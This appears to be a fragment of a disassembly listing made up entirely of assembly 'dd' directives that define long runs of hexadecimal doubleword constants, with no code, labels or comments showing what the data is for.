		dd 4E77EF4Fh, 8DA841E5h, 0CC32813h, 0E20627E8h,	18926815h
		dd 4AA412F1h, 0DE2C0223h, 0C15A070Dh, 4F8303E1h, 80C787F3h
		dd 50860E27h, 0AE800098h, 57040DE4h, 9EDCE90Ah,	2EE329AEh
		dd 3E004D65h, 43633456h, 8D0F1349h, 0AF42C46Dh,	5CCE93BDh
		dd 0A2C6258h, 0F86D1830h, 138DB867h, 8566E913h,	74D8FADCh
		dd 31525B1Ah, 9378D22Ah, 0D16EBFFh, 915022EFh, 5F0BC4DEh
		dd 0F90F095Bh, 1E5388FDh, 0D7C5625h, 7F6CDDABh,	7E041FB2h
		dd 0E42C13A5h, 12BDDDA6h, 0A304F707h, 2C20AB07h, 5AA35C83h
		dd 7261036h, 0FB1C8B12h, 29C54EA7h, 9604F9EBh, 5AE98BF0h
		dd 21C907F8h, 0A58E75C8h, 48247CDDh, 13AA4FA3h,	4B33F40Ah
		dd 34CA7710h, 0C523A9Fh, 4F5DE85Fh, 12D06AAh, 8B7D1E74h
		dd 4147D3B5h, 871510E9h, 50E58888h, 465BE837h, 20A490F3h
		dd 0E7811409h, 5841A538h, 307BB2A0h, 0BD1448ECh, 9C253E44h
		dd 312F5635h, 5298B81Fh, 795FEEA7h, 5174029Dh, 0A37C4F8Ch
		dd 5A3A4309h, 5CC0CB4h,	0BA326F5Fh, 22B03909h, 1DEC229h
		dd 0F99CE908h, 4BC35981h, 40AC5F35h, 107429D1h,	76B9694Bh
		dd 0CB2F0841h, 339A10ACh, 850CE916h, 1782AF16h,	40D8D152h
		dd 0F9255468h, 0B1495D5Ah, 0BF07D851h, 0F8246E7h, 0DA2F5580h
		dd 69853D4Dh, 8F120C3Eh, 0BF68C494h, 5494E3F3h,	1F273909h
		dd 57FA7C85h, 0D8D8FEC1h, 0D742973Eh, 0AC24F7Dh, 40E0D428h
		dd 36DD2F43h, 0A9D78924h, 0E9F33D12h, 0FB67929Fh, 4D94C1A2h
		dd 9D3F7E01h, 0BEE3E962h, 0C2277635h, 0E8252018h, 0D01DF79h
		dd 0D2F7D587h, 0DFB07F08h, 0A84DE668h, 0B7AC4BBAh, 828A75D1h
		dd 1388CC36h, 22FB976Ah, 70DFC333h, 0B752B0CDh,	5D04D9D6h
		dd 0DDD492E9h, 0E78EE2FFh, 41EF7D3h, 0F168E1EDh, 0F56A365h
		dd 828341CDh, 0FC4ED6F7h, 0BF578087h, 6F59089Fh, 0FC7B5A97h
		dd 0E02F12AEh, 0B91B87Fh, 7866FF05h, 0ED5F5AF5h, 0D29B3A9Dh
		dd 2E1806D3h, 90C0657h,	0BF4A598Ch, 0AF6398ABh,	2F803FE7h
		dd 0F1216DA0h, 0C1616B9Eh, 2C3A0BE9h, 445414BFh, 5C26E961h
		dd 0EB8BAF03h, 0E097161Fh, 0D7665CC3h, 9125A058h, 802D1A85h
		dd 0D10AD025h, 0F0DE03Eh, 8059A011h, 0A783EEC8h, 0A4C26029h
		dd 0CF1465EAh, 0DAD14850h, 68F8FE61h, 69E54D7Fh, 0B86133Fh
		dd 7BD4C3A2h, 31A19088h, 80F5ED16h, 0B9530534h,	49E9F37Dh
		dd 5C176606h, 659A8B8Fh, 0E18DBAC4h, 4881A72Bh,	727D1255h
		dd 7BEFF6EEh, 26C02B5Eh, 49BE0F66h, 0E9C4EFC8h,	0EEF8A4D1h
		dd 330DCC0Ah, 0DC25C41Ah, 43EA4ABh, 0AAB748E9h,	644C3AE2h
		dd 871F1814h, 951AD5Ah,	79B46DE9h, 2442AC15h, 7C9E02CCh
		dd 0C1DA5DCCh, 772729F8h, 0A2E6E80Ah, 69503D27h, 81E674A5h
		dd 28420C83h, 8F5E121Ch, 2D01E8B1h, 0F63B1801h,	591210EDh
		dd 0CC192C1Dh, 570E4E79h, 20FC564Ch, 0CB9864h, 0BFD2B27h
		dd 90C7890Fh, 963971BDh, 4F85F0CEh, 53FE8707h, 59369D68h
		dd 2D422560h, 66AD3ADBh, 48262D0Ch, 1CC4EAD9h, 0F97F99A1h
		dd 888B268Dh, 75E57FA5h, 0DD311A9Ah, 0D9D78C09h, 65B548BEh
		dd 12E00025h, 29742BBFh, 0ABC2225Fh, 0FF99709Eh, 40538D6Ah
		dd 100FDBEBh, 81E14F5Eh, 3763FD00h, 27597C6Ch, 1A80D687h
		dd 51FCE94Eh, 8BEBD995h, 8348DFFEh, 0DB832A8Ah,	0BFCD5B3Ch
		dd 6B017653h, 76CA3DE1h, 162D5330h, 791B40h, 2E8238C9h
		dd 0CB0901F0h, 0F488AAE9h, 8CF4A65h, 0FD2530E7h, 0E204581Ah
		dd 5E90F8ADh, 1C5BACD8h, 257CF068h, 5DFE577h, 1555DEBh
		dd 0A04E7194h, 91F08047h, 0E90C6D20h, 4E259A04h, 5997BE5Eh
		dd 2BC51567h, 0B3984A80h, 0CEC6067h, 3E9C61C2h,	0FEFE012Dh
		dd 0D0C249CCh, 0A997B9DDh, 0A8B6C46Bh, 25AC5EACh, 5BD806B2h
		dd 5E4B4B76h, 0CEB1E1B8h, 7EE22B59h, 4C21AE4Fh,	222ED8B9h
		dd 52725A13h, 98D2A951h, 0C192D976h, 343718D2h,	0F63E0C06h
		dd 0C25FBB25h, 0C0F45776h, 683C3802h, 5B07562h,	4EBF4EF4h
		dd 86682C6Ah, 946CE59Ah, 20E0F1A8h, 5B80151Ah, 1FB57951h
		dd 1666CD80h, 5D1B80ACh, 5BF85356h, 87D3F712h, 270017ACh
		dd 0E90BCB6Dh, 0C0CBFA1Bh, 0FEF1F233h, 30761626h, 0B91AFBC3h
		dd 2229F7C8h, 0C7D11940h, 0FF74695h, 16266AEDh,	0C82BD7A5h
		dd 917D946h, 91006D4Fh,	7D392DB9h, 0E71367E9h, 5A11B380h
		dd 3585E0C9h, 2A28DDCBh, 0C3E17AD9h, 0B1A0D67Ch, 3D25E90Fh
		dd 0FF34222Ch, 2C1C5E91h, 58360E41h, 0E2E915C2h, 0BE0B9158h
		dd 3A4E2Ch, 2D0CF6DBh, 31644877h, 0BCC0EE4Ah, 0B507CAE9h
		dd 9095CD44h, 91F57642h, 0D410DC1h, 0BFE87EFBh,	3F63888Bh
		dd 6854C9A0h, 0CB0A8A0Fh, 9546A464h, 1542B68Dh,	961E453h
		dd 1716607Fh, 7B02E671h, 0F5ED1D66h, 18D7CB8Bh,	840C8ABEh
		dd 82B63AFEh, 28D5B500h, 0B75966EAh, 0CBDBA460h, 0E32B5E81h
		dd 7E2D7CAFh, 5BAC7418h, 0E9F808EAh, 28BA335Ah,	0D76F3E35h
		dd 5EF003FCh, 0BC29C29h, 1D2FD65Bh, 95CD8955h, 445F1455h
		dd 34C7114h, 325ACC67h,	2E99414Ah, 0ACFCDE4h, 57E254B8h
		dd 728704C8h, 4CA3B0B5h, 6D0C7B71h, 0C1E321E9h,	0AA02EEE6h
		dd 41D50BC9h, 73D127B2h, 8770CA5h, 0D33FA933h, 3E571681h
		dd 0FB538BF6h, 2A55BC4Fh, 0A6A110E6h, 0BD856E48h, 66A4020Bh
		dd 0FB681236h, 0FECB350Fh, 7D4801B3h, 776AC305h, 6F82EA67h
		dd 7C8B5D82h, 9E23257h,	8C7E00C6h, 2746250Ah, 0C477E7D1h
		dd 26FD95CAh, 0FA25845Bh, 0F75F4EFDh, 5F3C3AD7h, 7EA63FBDh
		dd 486C80B5h, 1F602025h, 1740525Dh, 81F8C04Ch, 263FDACAh
		dd 0F2007682h, 1A591075h, 0BD2B33E9h, 55438EC8h, 4B273EB2h
		dd 6E50D9B5h, 0C675E4CBh, 0DB15287Bh, 6AFAB5D4h, 47C525F2h
		dd 37FCD528h, 5F92E83Dh, 0FD334EF1h, 0BBC4A2E5h, 0FDD7C68Ah
		dd 42AB882Ch, 0C96AD5E4h, 2820D65Dh, 168000D7h,	47E92272h
		dd 6E95FEE7h, 4E5FB06Dh, 881189A4h, 27C26F12h, 0E5020C56h
		dd 7F952A5Eh, 95B0960h,	0C365030h, 60D12319h, 3FB46816h
		dd 4E906C97h, 0A00F2E98h, 0C163271Eh, 52861E1h,	117E92Eh
		dd 6A933194h, 4F61C141h, 979911C8h, 8287BB59h, 0CFE4C3FEh
		dd 0D14788EEh, 1AD0284Fh, 48836D0Ah, 17386048h,	4B8AFA4Eh
		dd 0E70EA4Ah, 0C95AE1E9h, 32FF2168h, 0CD227FA5h, 1C11919Dh
		dd 80FBDB30h, 584EC388h, 0C503C3ABh, 895A5BB1h,	2EC28F4h
		dd 7C16DE95h, 0D82F9C5Bh, 30B0920Ah, 2918A912h,	0DE312EF5h
		dd 4B688120h, 3B1F2923h, 0EEF61CC1h, 0ECACBF04h, 0DE1A0F96h
		dd 0F8E49DC4h, 69C2B4DAh, 0DD9668CDh, 6F88340Fh, 1339C01Dh
		dd 34A86E9h, 738F74C8h,	5EA2F647h, 290A93B5h, 56970CE6h
		dd 0C83528Fh, 7D48BDD0h, 0A73E1DC7h, 35C5D7E7h,	8FBB5B92h
		dd 0B445A96h, 5700D4DDh, 0AB5B6968h, 0BB5F1F0Dh, 0F22F0D6Dh
		dd 0CEE93E12h, 0D9E09912h, 4E3A125Ah, 24F6BE53h, 938C463h
		dd 3BB96602h, 400F0151h, 0E3A2139h, 0C1496F32h,	25D05EFh
		dd 64413F50h, 444E7FE4h, 0E62F38E1h, 50BC96C5h,	1C290B97h
		dd 514A86D0h, 9400B3B6h, 0C1745D62h, 119D03E0h,	126FBC00h
		dd 5087605Ch, 0B341468h, 0A0AFBEBFh, 5ECB55A5h,	0E319A036h
		dd 2F870FF8h, 0D0790BDFh, 3A521892h, 0AAB598BCh, 7039C402h
		dd 0B9F3DF7Dh, 6EDC186h, 180B09EAh, 0E800481Dh,	95B273ECh
		dd 0EAFD60B5h, 0EC2FE11Ah, 1246B107h, 4013CE6Ah, 5971BED0h
		dd 7B902379h, 8CB8103h
		dd 0B067BC22h, 40B39F3h, 0E99366B8h, 0EE74B4BBh, 84353106h
		dd 90E4674h, 4CDD1B8Ch,	2C102FF6h, 64E0680Bh, 7A41437Ah
		dd 0BF1A45FCh, 0A7C9915Ch, 0C3445358h, 0E9A6F4ABh, 71427A32h
		dd 0ED565DC2h, 521F1A2Ch, 0F515E889h, 0DE40AB3Ah, 5B818891h
		dd 0ED681D3Fh, 4C774442h, 0D06E9D90h, 0D9B05D7Fh, 0D99263EAh
		dd 81565A49h, 0FA87D7F7h, 58C9A4CBh, 951A9664h,	76BFC2F8h
		dd 2BF953BBh, 20BD6EF5h, 8903EB1Eh, 0DFF694C0h,	0A513DA60h
		dd 49E0FAFCh, 0E940582Fh, 0CC629D0Eh, 3EC0F3FFh, 92FD9FA4h
		dd 876E9758h, 0E4647476h, 523EDA97h, 8608D05Fh,	6E922508h
		dd 2638B401h, 1C85100Ch, 5D2B2C20h, 0BB209A5Eh,	5445DB02h
		dd 62EE0142h, 4A1CD8EDh, 9178EF53h, 9C6BE90Ch, 1D25E97Fh
		dd 0E2565930h, 2C03FD14h, 77D99267h, 68A5787Ch,	824AB471h
		dd 2F674D7Fh, 0E1A9B4DFh, 1910CB62h, 0C6800BD2h, 8525601h
		dd 0BF01D1A5h, 44066D6Ch, 24047770h, 3A19877Fh,	887E094Eh
		dd 3000457Dh, 0D8E9C9CCh, 0DD1184Ah, 0F07FD5B4h, 0B94AB383h
		dd 41CFD1E0h, 9EA17EF1h, 0D7255FE2h, 0FAE1AA05h, 4E48CF22h
		dd 5B8F2F10h, 0EF4F34B8h, 5AC78C56h, 0DE6F2282h, 0CD2DB91Fh
		dd 0B6042114h, 11ED809Eh, 76E1B484h, 18CAD7Eh, 2D774D79h
		dd 3560D2F7h, 0E5EDBF28h, 0DBE90DB0h, 0E5F9BFC6h, 8770CFEDh
		dd 2BDD9D5Dh, 53B00E3Bh, 8BF91A1h, 47E02A2h, 573EF5B8h
		dd 0D321823Dh, 56E849E9h, 85F9E971h, 2613DE3Dh,	4B829BAh
		dd 0E729FFECh, 48D6DE02h, 0E45B661Ch, 709F2568h, 0D580DA72h
		dd 0E45CC06Bh, 16C6187Bh, 25685670h, 9EDE794Fh,	1B14572h
		dd 783C2ABBh, 398C7E12h, 1381F853h, 0EA45F358h,	0B23F77B5h
		dd 39AEC4BCh, 18B05F0Ah, 6853E0D3h, 0D903F709h,	3FAE8432h
		dd 1057A912h, 0BA000B17h, 2FF930E8h, 6E390405h,	8D01F54Fh
		dd 112A310h, 7422DD0h, 6FFB8055h, 980CC54Bh, 1EEF0EB8h
		dd 0CAC0615Eh, 549D4CEDh, 2348FBDh, 5071220Ch, 0DD0802C4h
		dd 0D589E53Eh, 5D2707D2h, 0C228DE3Dh, 6FEC3883h, 0B06AAB25h
		dd 0A01058C8h, 0D7D0567Ah, 2289FBE8h, 0A34BBD7Ah, 0B74CFED6h
		dd 78E225F6h, 806C5EF7h, 23CC3A7Dh, 812E4B8h, 0C2F00A37h
		dd 6DEA0681h, 0FA1AC650h, 56078D09h, 5F28D775h,	21C3408h
		dd 2942E914h, 4120C5E4h, 0F7013E6Eh, 0BEE4689Ah, 87B9395Ch
		dd 7EA06660h, 71EEEB60h, 0FC314ABFh, 9B049EE8h,	0DDFB6F72h
		dd 5F283093h, 54E13A02h, 57308C0Fh, 5B5F5642h, 3C3D0ED0h
		dd 56C8A210h, 1C22748h,	584AFE55h, 0F1B55FFEh, 0F855E940h
		dd 14FC5B36h, 0DD108EE4h, 3F20492Eh, 0A7979A0Ah, 611EC2FBh
		dd 0AEF82711h, 0D5F72553h, 2902EB70h, 8EE96F08h, 9A54DC22h
		dd 0D977CDD9h, 32E961C2h, 7377C226h, 455FA5F7h,	0A1B41297h
		dd 2BB73E2Dh, 8377FED3h, 48650306h, 2895DEAh, 0C15EC3A3h
		dd 1B530E30h, 65596858h, 900C3B60h, 0FD8A0F3Fh,	4B776D92h
		dd 60CF8112h, 8C9E28EAh, 9806940h, 585343EBh, 0BBDDA57h
		dd 0F51035B9h, 89C9A480h, 198196Dh, 17AE8B5Ah, 7990E879h
		dd 16E68817h, 4D1438AAh, 2F8B2240h, 5B5C5ADFh, 319655CBh
		dd 59E8E8BDh, 1D66B5EBh, 0C2FAF6B8h, 1E4DBF80h,	8B3F1073h
		dd 0ABF15626h, 0AD685200h, 0B0607A2Ah, 28CB2740h, 5C92C859h
		dd 0E84BCDECh, 901B827h, 81F2E9FDh, 4DFE5CA9h, 4E5420BEh
		dd 6BCBBB5Ah, 920E840h,	29719060h, 0EC71D23h, 95C2F93Bh
		dd 3C879A0h, 91EDB9EAh,	2581EDD7h, 0D1AE3585h, 0CB2EA810h
		dd 4370CEE8h, 305DFA19h, 0E6EC7D2h, 0EF6403F4h,	4F3CE02h
		dd 17079FFh, 0A1D31CECh, 0DB06403Dh, 0A4A0F006h, 65B53DD1h
		dd 4E680450h, 8512167Fh, 605A5A49h, 58940A7Ch, 825B5629h
		dd 0E34051BCh, 1C7A3021h, 17A7B958h, 3AF83F0h, 338C0DCEh
		dd 1AEE0C5Eh, 52E23A74h, 0A1692285h, 3E3B314Bh,	0A3AF0B12h
		dd 665E1297h, 0C2251F5Dh, 9072C09Eh, 122D80EAh,	5A0351Ch
		dd 84258F40h, 0F9E82975h, 11DA0747h, 44A35D16h,	0EB5909Fh
		dd 6BF70DBAh, 5A8EF8F2h, 0DDE311C3h, 2A11810h, 0EE7D04BBh
		dd 71A48032h, 1653D878h, 0AA9C860Fh, 8468F5D0h,	0C2FB4B3Ch
		dd 8CAE762h, 0E97818FCh, 0DDF75A51h, 6C05ED63h,	55560BAEh
		dd 364D8168h, 907A5D62h, 0AE268581h, 43DAD39Dh,	0C262F7F6h
		dd 1B2B72Ah, 3AF1FDE9h,	169249A3h, 745ABECDh, 80C6D70Ch
		dd 3E8CF1B5h, 0D698FC5Ah, 89A45CBEh, 752929BEh,	0E517D7FCh
		dd 0FF5887E1h, 0F04889h, 0FA98FC35h, 0FD4B6ECBh, 80518BCAh
		dd 463DB44Dh, 4B91B85Bh, 7F24AB9Eh, 0C93F62ABh,	293B89D0h
		dd 305596EAh, 0A802FB25h, 7C08DE68h, 0C2E662D7h, 65B25201h
		dd 0E23A077Eh, 57813FBFh, 7ABDF8E9h, 6A0206E3h,	3163F47Ah
		dd 8420E25Bh, 180E490Bh, 98630826h, 94B00820h, 3B34D327h
		dd 0DACD978h, 4A780B23h, 3A14B174h, 0C61E89Ah, 517B99E9h
		dd 885B1AE0h, 13194F4Dh, 2046AB5Ah, 675BE41h, 847B42C2h
		dd 8C020C38h, 1B2272Ch,	0B6D2D7D6h, 3FF5520h, 80359AB8h
		dd 92294869h, 22A7807Bh, 81D46CBDh, 525FB1B3h, 953F07E0h
		dd 4B010A24h, 6197521h,	2BA52535h, 23CB99ADh, 0D3572B42h
		dd 0E6AC24h, 47AE7FEAh,	0B8E9820Fh, 52E6DA3Ch, 1C62A2C9h
		dd 60529AD5h, 0B073B541h, 5FD9BD71h, 3A8018BCh,	246BBE10h
		dd 132F8128h, 0E731B4B2h, 37526C04h, 54C14F75h,	0B96A400Bh
		dd 7A1AB3F5h, 27D22FA3h, 458917F9h, 4B0BFA70h, 0C40DFC14h
		dd 0F12114Dh, 6BE025EFh, 76557535h, 90BC7B5Bh, 68A3B04Fh
		dd 4784285Ah, 9789A6BAh, 0C39E8AD1h, 30A64669h,	38DAB800h
		dd 70D6A63h, 5E6C13Eh, 0DE710C4Eh, 134A682h, 41CC5655h
		dd 0E6FEFB81h, 3635042Bh, 168BFFA0h, 0A2F389CFh, 0CAB9C623h
		dd 0AD350724h, 0A3D468F5h, 5A273C63h, 0AEACA659h, 0BF5A9F33h
		dd 0D41C8E90h, 152EF9Ch, 2729FEB4h, 617E173Ch, 0D8DDE941h
		dd 5C834128h, 0C2C3E39h, 1A168DC5h, 0B5930A0h, 71E9C331h
		dd 27906C70h, 22CC801Ch, 0C035ECC7h, 0C4FE0731h, 4073876Bh
		dd 58E32802h, 0F3F0D3F0h, 0D80B4F78h, 0F0BB045Bh, 0A7FA22C9h
		dd 68D8C08Bh, 0AFA2C21h, 0FEB8095Eh, 44372BC5h,	0AF65E086h
		dd 890398h, 1B753C2h, 1BB15150h, 0FED1F60Ah, 0F416C1C1h
		dd 4BA07254h, 0B171D1BEh, 43468D48h, 0BAE87D54h, 8E9183h
		dd 174F6DB7h, 0F890DA29h, 1C5F0883h, 0ECB312FBh, 0AC9FB103h
		dd 6846206Fh, 0F2E1873h, 0E019846Dh, 0C12ED0D3h, 9D4803F9h
		dd 6889D10Eh, 0D5E4FD30h, 0D33F4598h, 0D50F2D16h, 0E9065F21h
		dd 15126BADh, 3E65204h,	0E74893C0h, 1FA13EBh, 0B0E8E8F7h
		dd 2F5B5FF9h, 0F341FBE9h, 0A0986E66h, 0B80D4A27h, 8D24DDD2h
		dd 5172029Eh, 54D35551h, 0A75BE904h, 0EFD247E9h, 0AC9677E2h
		dd 0EF445BF0h, 5301AA2Ch, 89176D68h, 5D0EB94Dh,	0F01CC118h
		dd 0D886E6C7h, 7BB181F4h, 14CFB22Eh, 0CB972ABAh, 0BF52C854h
		dd 4338066h, 0E03E797h,	1E15B568h, 5C8F2D78h, 386BF845h
		dd 95CA2136h, 90A0B9F1h, 8BA55659h, 570E0989h, 29469CEEh
		dd 0F597A34Ch, 12753490h, 7455669Fh, 341C8BBFh,	0CC87D988h
		dd 0EC655059h, 0BFFED5FFh, 3DF59500h, 4AE1E951h, 1022FABEh
		dd 13897467h, 8DCEFF5Bh, 2D5F523Fh, 0AD583487h,	0BFCA549h
		dd 0DC9C6876h, 0B04CC4A8h, 8224BE39h, 263D6E78h, 71A06D3Fh
		dd 80DB5020h, 2E4C3086h
		dd 2F3B923h, 495E1232h,	0EB63E155h, 4E810844h, 0FB059DB2h
		dd 5447BCA4h, 6015C132h, 0C58160D9h, 0E52653C3h, 8E02D636h
		dd 0DF31B73Eh, 6081A28h, 32D604E9h, 0BE665607h,	744B1AB2h
		dd 63582D6Dh, 0B1223C9Ah, 0F7D29F4Dh, 0E9646505h, 62FD8573h
		dd 804FF55Bh, 8637EB0Ch, 90C70174h, 629909DCh, 0C2D41D8Ch
		dd 0B37FD58h, 79E9502Ah, 0EB2CC85Ah, 21090E05h,	0DF9ED5B1h
		dd 58295020h, 67121A43h, 992DAAC2h, 18854CD5h, 0EE5A5E57h
		dd 0E72C56E3h, 3C762D3Dh, 77E1F6C2h, 94425754h,	97D45D01h
		dd 7DC6D2E2h, 6AE51018h, 2016669Fh, 5201B96Bh, 6405BB53h
		dd 0C0B81022h, 56B61F01h, 7D027EE9h, 1AD60289h,	7EF75FCCh
		dd 0FE03189Bh, 22D01EB9h, 60AA0ED9h, 0CAE94206h, 21FD4ECEh
		dd 81C237A9h, 0BFBD0419h, 11F93BCh, 0C75E0DE8h,	0F2EC2B42h
		dd 0F22960E9h, 0B7CF0180h, 0FA960D45h, 3AB82813h, 0E771AB5Bh
		dd 5DC238E0h, 0FC0B7DCh, 0B2ED2E8Bh, 755C2647h,	1ABCA884h
		dd 0E5D1885Ah, 540F5E75h, 56B65495h, 9FA8BB20h,	69FC04C2h
		dd 5AE7F525h, 89EB73A5h, 0D0D04EE9h, 2C9ECB6h, 557950A2h
		dd 72FCCE98h, 32EE3BFFh, 63694D4Fh, 2EBF715Dh, 69CF1B98h
		dd 0D676FF3Bh, 0FF22CA2Fh, 14F7C6C2h, 786C20AAh, 4BF46813h
		dd 22CB3D61h, 0E78F258Bh, 1933B6D5h, 22D9D8E9h,	0A9616E5Ch
		dd 3B817ABCh, 0CF79CDF1h, 21EB400Eh, 1A58752Fh,	82BD2250h
		dd 405EC09Fh, 0E1888090h, 5975CEE4h, 0B0A0F74Ch, 95B2B0E9h
		dd 7520FFE6h, 0F8312592h, 807DE57Dh, 7C4FD1C6h,	40ED0103h
		dd 0F47B0BD3h, 0C50F2A98h, 38CC1B20h, 32B9A60Ch, 0D3FED9BBh
		dd 951794F5h, 6818FE16h, 0BB9D4031h, 3A3EBCFEh,	0E4A8480h
		dd 68B95157h, 3D0A4812h, 9AE4300h, 4C0156A8h, 841D0CBh
		dd 0EE10B929h, 23350320h, 4A3ED86Dh, 608CBCB6h,	267D82BCh
		dd 7C2BF53h, 0DA738B57h, 0C7516D0h, 1717AB30h, 0BB0C84FBh
		dd 98BB9034h, 3AF562D4h, 0AE98FEE9h, 0F5051E6Fh, 2EECE933h
		dd 0F20965D2h, 0C51A203Ch, 0F6C05926h, 439D903Ch, 2F845762h
		dd 0DE642F7Dh, 772ED15Ah, 0D40A9685h, 7F23AC34h, 92943825h
		dd 0A8C05FE6h, 0D5B6286Eh, 0A9311180h, 0FDCD293Ch, 5250066Eh
		dd 0C0BD52EEh, 4AFB80F9h, 53CAB81h, 155F975Ah, 50A8F6h
		dd 4EE6203Dh, 19DFC7B8h, 95E9B109h, 0C6F420DCh,	2D61211Ch
		dd 30578951h, 9206BDE9h, 367503D8h, 0D3F71088h,	8436EBFBh
		dd 1212ACE3h, 58B3E952h, 0F57C0C9Bh, 75EA5FC9h,	6F5B15E1h
		dd 0C6002BACh, 0FDADF70Ah, 39A4F389h, 76700504h, 84BB6819h
		dd 0A80712DEh, 6309101Ah, 126C948h, 8F3B60CFh, 5E953229h
		dd 6F904D3Eh, 11017912h, 322D4EF9h, 0C08C66ECh,	89DC245h
		dd 5D3B4C41h, 5C02AF83h, 316678ACh, 0E7BF56D3h,	0C46B706Ch
		dd 8845DF64h, 0C3EC57A7h, 0FC0FB62Dh, 27CE31F3h, 6DC3A412h
		dd 851F2002h, 0C2908566h, 28A80716h, 0CC6584Ah,	0C8280638h
		dd 575CA61Dh, 9569283Ah, 0BDFF73Ch, 0DDF911E9h,	0CAA99014h
		dd 97F82EC3h, 3D25EB5Fh, 23E3BE00h, 5F01463Fh, 8129E0E9h
		dd 530B42EBh, 4AC0D866h, 0E95B038Bh, 40415BCCh,	0EC6EF356h
		dd 61F8B463h, 81E1535Ch, 3C3F46A4h, 0D8F7C343h,	1C29056Fh
		dd 762DE9C2h, 90F2AD3Fh, 0D012FC69h, 0FEC9043Eh, 0C140D61Bh
		dd 0D89BFBB8h, 9625E9C0h, 52A3DFDEh, 2B9F783Eh,	0E22B2E5Dh
		dd 0FD2A980Bh, 0D3CE4480h, 5548DB3Dh, 7402773Bh, 0F3319D40h
		dd 17C9775Eh, 4E0D6825h, 0BAA452A8h, 26635661h,	41788734h
		dd 883E88DBh, 0C32D010Fh, 2FB6566Ch, 473E55C1h,	1278405h
		dd 0CD1DF6A0h, 0FB8D302Bh, 61075A14h, 3D0905C9h, 0C0EF353Ah
		dd 59C768A0h, 7C602DBCh, 2182504h, 0E40CB81h, 0F603F30h
		dd 758AAFF1h, 38080FCDh, 0C4C6583Eh, 5FFC21BFh,	9A394068h
		dd 0A30C3113h, 26CB447Ah, 5624FA4Eh, 0AB9484BEh, 49C89DD1h
		dd 82333D93h, 627F2938h, 0FBE855F2h, 65BFEF01h,	0DE318C5Bh
		dd 89E98930h, 46380CF8h, 32B00281h, 0EFC10528h,	0D284A960h
		dd 0A32E5881h, 0BE089879h, 0D75A00C0h, 880F4E09h, 0FF4DFD8Eh
		dd 29C5F472h, 0AFA8B1EFh, 0B4827D0Ch, 5BD65AE9h, 0C2CA7C2Fh
		dd 5507AD5Bh, 0C6E12164h, 12FEB73Eh, 0D413782Dh, 0B5EC7D21h
		dd 5D8A5207h, 5A2ED2FDh, 0F6F0C3A6h, 45B0A5ECh,	1F91AAC0h
		dd 79F07EEFh, 4BEDF611h, 0C427FC1Fh, 212E729h, 0E6885212h
		dd 0C0847C77h, 6BE38058h, 0B0820F09h, 850DBEDh,	22C3B4E0h
		dd 0EE9B6E76h, 9A00FA69h, 0F072AFCFh, 0C0824C6Bh, 4CBDBBA7h
		dd 0E05AC052h, 75950579h, 0F000FE0Fh, 0FEF9F6E9h, 4FED28C2h
		dd 0CB41E13Dh, 5F211E0h, 0A4E94B61h, 0F18EAE88h, 0A84F5B7Eh
		dd 5409DE27h, 4A32DDh, 80CCB5A9h, 0E9D60FF5h, 9DF26430h
		dd 628DF13Eh, 30EF0E41h, 29DD4276h, 0FE3A94FDh,	0C842D762h
		dd 857936B6h, 584C0AF5h, 0AB3E5951h, 11B06431h,	8593472Bh
		dd 83F19205h, 0B8C2F9A5h, 0EA2D7ACAh, 65DF51C0h, 4B1DECF3h
		dd 314F25B8h, 2C469172h, 0F019EB4h, 0B76BE934h,	0EBEE9D97h
		dd 65AA8CC4h, 80F3EA4Fh, 2B59E9A1h, 55B72C07h, 12EFFD04h
		dd 44FF16B8h, 0EAD089D8h, 0A35ACE04h, 83EC5C0Fh, 0F79040CFh
		dd 7850120Fh, 0C159D3Dh, 15A412ABh, 7E068BBBh, 0FEC27F16h
		dd 0A23A31BEh, 0C5152C59h, 8EFA22DBh, 30A558BCh, 0F6803EC9h
		dd 0F03016EAh, 0CBE0F95Ah, 0C07910h, 6CAA3643h,	0A25F860Fh
		dd 5F125416h, 0C23B920Bh, 387B751Fh, 44FC9209h,	897D97E5h
		dd 0E153DD58h, 9C0F2CE2h, 0DCDD207Bh, 18440126h, 0EC1FFCBh
		dd 0AB853058h, 34481443h, 0FED20309h, 3053D2E9h, 0E04169C2h
		dd 0CBE3E36Fh, 9573D05Ch, 0C3710B7Eh, 62DAB82Eh, 0D519E942h
		dd 45753889h, 725A14F4h, 0B2535084h, 17AF4B8Bh,	0BBDCC18Ch
		dd 47850508h, 2457D882h, 9DD6AC2Ch, 4AC201E0h, 5EE93FD7h
		dd 0E20565BFh, 51C9657h, 0EB139AC7h, 0FF04EA07h, 0F7BB0293h
		dd 0D9E9C3B9h, 0DD5949CCh, 0BFD4363Bh, 0BFC9837Ch, 29D32491h
		dd 0A960EE41h, 0A75A008Bh, 2DCBBA06h, 0E91330C1h, 0CDEF1EB9h
		dd 53520825h, 90075B8h,	0BB767915h, 542C26C3h, 4C31CED8h
		dd 34B6CD9h, 0CB29660Dh, 32F94BC1h, 70350407h, 9FF0BBBh
		dd 14616731h, 386652B8h, 0EB015344h, 607F1024h,	7882FB01h
		dd 640F4C1Ah, 0C268FEE2h, 6E12FDBFh, 0CE006081h, 4505C13h
		dd 12E61DBEh, 0E20EE731h, 0FC84FEA9h, 0BFC1369h, 56067202h
		dd 0A27DEA01h, 791FE04Bh, 97DEAFA4h, 53CFFE2Dh,	8BE97DE2h
		dd 46FE205Dh, 0E4BC24D3h, 0F3DED9C6h, 69F1E71Ch, 89FE5EDBh
		dd 0E9D8E521h, 9CE94C8h, 0F175E689h, 0C87589Ah,	0AD94D597h
		dd 5724C342h, 5C7A0157h, 685B0686h, 850F069Bh, 9790CFBFh
		dd 0E94138D7h, 0BD7ABFB5h, 0E69D7FF0h, 0D7C92D57h, 5E6B307Ch
		dd 7894BE3Fh, 6480A59Ch, 555410B1h, 295D5B17h, 4333EE0Ch
		dd 5D905AFAh, 0A779CB84h, 0BA92C07Ch, 4ABE0A50h, 0FAB448ECh
		dd 0D2E2DB05h, 63BDB424h, 0B294E04Eh, 4A2089B0h, 9D8BB215h
		dd 0E96FBDFEh, 95A2F0FBh, 275D9C94h, 1A5A3B3Ch,	40262677h
		dd 801E3F99h, 0A00FF381h, 841C2253h, 0D1C82E8Ch, 9FB301EBh
		dd 5F891772h, 35452A20h, 0F940CEC1h, 0B9E1EEDh,	0E82928B5h
		dd 5F80089h, 4AFC1603h,	0F44995E9h, 2D31042Ah, 0ADAC6C9Bh
		dd 2592A84Ah, 97397778h, 3F02651Ch, 658F4005h, 3ED4C9BBh
		dd 4186C8F2h, 514A2EE8h
		dd 0B5B297BBh, 859B023h, 805BFA07h, 0EA335DF2h,	7AC2B006h
		dd 0BD2B71E9h, 1A6C353h, 55EBCFA1h, 54AD2B47h, 0BEC2E467h
